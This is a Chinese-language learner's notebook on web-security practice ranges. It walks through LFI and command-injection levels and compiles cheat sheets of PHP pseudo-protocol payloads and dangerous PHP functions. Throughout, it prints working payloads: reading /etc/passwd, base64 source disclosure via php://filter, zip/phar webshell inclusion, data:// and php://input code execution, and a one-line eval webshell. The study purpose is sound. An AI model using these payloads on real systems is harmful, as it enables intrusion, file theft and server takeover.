LFI
先写靶场
- 直接用get访问即可,这里对文件没有任何限制。
- 用upload那里学到的00截断来做,如果你要传php文件的话,可以不用管,因为他是加上后缀.php(其实我这里没有看懂这个防御方式),如果要穿其他文件的话,就在末尾用00截断
- 从后往前数四个,如果是.php就直接错,不是的话就直接访问,绕过的方式就很多了,可以大写绕过。也可以加点绕过。
- ·addslashes()函数,addslashes()是 PHP 内置的字符串转义函数,核心作用是:在字符串中的 ** 单引号(
')、双引号(")、反斜线(\)、NUL(NULL 空字符)** 这四类 “预定义特殊字符” 前,添加反斜杠(\),这里也没有什么影响啊,上一目录是../,正常写就可以。 - 会将../替换为空,这里可以用upload里面学到的双写绕过,…/./,删去之后还是../。
- 六到第十关除了把前面get改为post以外,没有区别。
- 界面看不到发送的请求应该是什么,看源码,然后看到参数名发送post
- 和上一关一样,改成get就可以
- 和之前一关一样,都是双写../绕过,这里是发送get请求(注意在url上面直接拼接,因为那个框并不是真正的发get请求)
- 和上一关一样发post
- 这里到了cmd的第一关,没有任何限制,直接在表单输入,或者说直接构造url即可,可以用cd看所在目录,也可以直接whoami查看用户,dir查看也可以,完全没有限制。
- 和上一关一样,(这里表单就是发送post请求)可以直接写
- 这里学到linux的管道符,| ;表示无论前者是不是为真,都可以直接执行后者(注意|,是把前一个的输出作为后者的输入,而;只是单纯的依次执行)||是前者为假,执行后者,&&是前者为真,就执行后者。
- 发post
- 看源码,对domain有很多限制,但是对server没有限制,那么可以在server这个参数上面开干,直接随便写一个域名,然后用;加上ls,在拼接上domain即可(因为这里对domain有了很多限制,那么就要真的输入一个正确的无风险的域名)
- 发post
关于协议和php伪协议以及SSRF常见的绕过
PHP 伪协议与漏洞利用速查表
一、 本地文件操作 (Local File Inclusion)
主要用于读取服务器上的敏感文件,或配合文件上传漏洞解析内部的 PHP 代码。
1. file:// (访问本地文件系统)
用途:读取本地文件内容。
条件:
allow_url_fopen: Off/On 均可,allow_url_include: Off/On 均可。Payload:
1
2
3
4
5# Linux 读取 /etc/passwd
file:///etc/passwd
# Windows 读取 hosts
file://C:/Windows/System32/drivers/etc/hosts
2. php://filter (读取源码)
用途:利用流过滤器读取 PHP 文件源码,避免被服务器直接解析执行。
条件:无特殊限制。
Payload:
1
2
3
4
5
6
7
8
9# 1. Base64 编码读取 (最常用)
# 此时浏览器会显示 base64 字符串,解码即可得到源码
php://filter/read=convert.base64-encode/resource=index.php
# 2. ROT13 编码读取 (绕过 WAF 对 "base64" 关键字的过滤)
php://filter/read=string.rot13/resource=index.php
# 3. iconv 字符集转换 (绕过复杂 WAF)
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
3. zip:// (读取压缩包内文件)
用途:配合文件上传漏洞。上传一个修改后缀为
.jpg的 zip 压缩包,利用该协议执行包内的 PHP 文件。条件:无特殊限制。
注意:必须使用绝对路径;URL 中的
#必须编码为%23。Payload:
1
2
3# 假设上传路径为 /var/www/html/upload/1.jpg
# 1.jpg 实为 zip 包,内部包含 shell.php
zip:///var/www/html/upload/1.jpg%23shell.php
4. phar:// (PHP 归档文件)
用途:同
zip://,用于解析压缩包。条件:PHP >= 5.3.0。
优势:支持相对路径,比
zip://更灵活。Payload:
1
2# 假设上传了 shell.png (原身是 zip 或 phar 包,内含 shell.php)
phar://shell.png/shell.php
二、 远程代码执行 (Remote Code Execution)
此类协议通常需要开启特定的 PHP 配置 (allow_url_include),危害极大。
5. data:// (数据流执行)
用途:将 PHP 代码直接嵌入 URL 中让服务器执行。
条件:必须
allow_url_fopen: On且 必须allow_url_include: On。Payload:
1
2
3
4
5
6# 1. 纯文本格式 (特殊字符易导致解析错误)
data://text/plain,<?php phpinfo();?>
# 2. Base64 编码格式 (推荐,稳定隐蔽)
# 内容为: <?php system('ls'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==
6. php://input (POST 数据流)
用途:读取 POST 请求体中的数据并作为 PHP 代码执行。
条件:必须
allow_url_include: On。Payload:
URL 参数:
?file=php://inputPOST Body:
1
<?php system('ls -la'); ?>
7. expect:// (系统命令执行)
用途:直接执行系统 Shell 命令。
条件:必须安装
expect扩展。Payload:
1
2expect://whoami
expect://ls -la
至于dict:// gopher:// 待我后面在SSRF的那一篇做详细补充和使用 我一定要狠狠…
补上危险函数说明
PHP 敏感函数与高危操作速查表
一、 命令执行类 (Command Execution)
*直接调用操作系统命令
这些函数如果参数可控,攻击者可以直接执行系统命令(如 whoami, cat /flag),获取服务器最高权限。
| 函数名 | 特性/区别 | 典型攻击 Payload |
|---|---|---|
system($cmd) |
执行命令并直接输出结果到页面。 | system('ls -la'); |
passthru($cmd) |
同 system,直接输出结果(常用于处理二进制数据)。 |
passthru('cat /etc/passwd'); |
exec($cmd, $array) |
执行命令,但只返回最后一行结果。完整结果需通过第二个参数引用获取。 | exec('whoami', $output); print_r($output); |
shell_exec($cmd) |
执行命令并以字符串形式返回所有结果。 | echo shell_exec('id'); |
反引号 `cmd` |
等同于 shell_exec,是其简写形式。 |
echo `ls`; |
popen($cmd, 'r') |
打开一个指向进程的管道,通常用于读写命令输入输出。 | $f = popen('whoami', 'r'); echo fread($f, 1024); |
proc_open(...) |
更底层的进程控制函数,功能同上但更复杂。 | (常用于 bypass disable_functions) |
pcntl_exec(...) |
在当前进程空间执行指定程序。 | (常用于 CLI 模式下的利用) |
二、 代码执行类 (Code Execution)
*将字符串当作 PHP 代码执行
攻击者可以输入任意 PHP 代码(如 phpinfo(); 或 system('ls');),等同于接管了 PHP 解释器。
这里我纠正一下我一直搞错的一个误区
eval是一个语言结构不是函数 还有就是
在 PHP 7 中 assert 是函数,可以回调,所以以前常用 array_map('assert', ...);但在 PHP 8 中 assert 变成了语言结构
之前自己本地试里面回调函数用不了eval 我都没管过 那么小的问题居然到现在才解决 我服了我了…
| 函数名 | 特性/区别 | 典型攻击 Payload |
|---|---|---|
eval($str) |
最常见的后门函数。把字符串当代码执行。注:eval 是语言结构不是函数。 | eval('phpinfo();'); |
assert($str) |
类似于 eval。注:PHP 7 中作为函数,PHP 8 中作为语言结构。 |
assert($_POST['cmd']); |
call_user_func($cb) |
回调函数调用。如果第一个参数(函数名)可控,可调用任意函数。 | call_user_func('system', 'ls'); |
create_function(...) |
创建匿名函数(已废弃 之前的php版本来RCE应该很爽)。内部使用了 eval,极易被注入。 |
$func = create_function('', '}phpinfo();/*'); |
array_map($cb, $arr) |
数组回调。常配合 system 等函数批量执行。 |
array_map('system', ['ls']); |
preg_replace(/e) |
正则替换。如果使用了 /e 修饰符(已废弃),替换字符串会被当做代码执行。 |
preg_replace('/.*/e', 'phpinfo()', 'a'); |
三、 文件操作类 (File Operation)
*涉及文件包含、读取、写入、删除
此类函数配合伪协议(php://)可导致敏感信息泄露或 GetShell。
1. 文件包含 (LFI/RFI)
include($file)/include_once($file): 包含文件,若失败只产生警告,脚本继续执行。require($file)/require_once($file): 包含文件,若失败产生致命错误,脚本终止。- 攻击点:配合
../../目录穿越读文件,或配合上传图片马 GetShell。
- 攻击点:配合
2. 文件读取 (File Read)
file_get_contents($file): 读取文件内容到字符串(支持远程 URL)。readfile($file): 读取文件并直接输出到缓冲区。fopen($file, 'r')+fread(): 打开并读取文件。highlight_file($file)/show_source($file): 高亮显示文件源码(CTF 常用)。- 攻击点:读取
config.php数据库密码、/etc/passwd等。
- 攻击点:读取
3. 文件写入/删除 (File Write/Delete)
file_put_contents($file, $data): 将数据写入文件。- 攻击点:写入 Webshell (
<?php eval($_POST[1]);?>)。
- 攻击点:写入 Webshell (
unlink($file): 删除文件。- 攻击点:删除系统的锁文件(lock file)导致重装漏洞,或删除关键配置。
四、 网络请求类 (SSRF)
*发起服务端请求
如果 URL 参数可控,可用于探测内网或攻击内网服务(Redis/MySQL)。
| 函数名 | 描述 | 攻击方式 |
|---|---|---|
curl_exec() |
cURL 会话执行。功能最强,支持 Gopher/Dict 等协议。 | gopher:// 打 Redis,dict:// 扫端口。 |
file_get_contents() |
虽然主要读文件,但也支持 HTTP/HTTPS 协议。 | GET 请求探测内网 Web 存活。 |
fsockopen() |
打开网络 socket 连接。 | 构造原始 TCP 数据包攻击。 |
审计小技巧 (Audit Tips)
在做白盒审计(看源码找漏洞)时,可以直接在 IDE 或 grep 中搜索这些关键词:
- 搜 RCE:
system(,exec(,eval(,assert(,call_user_func - 搜 LFI:
include,require - 搜 SSRF:
curl_exec,file_get_contents - 搜 变量覆盖:
extract(,parse_str(,$$(双美元符号)
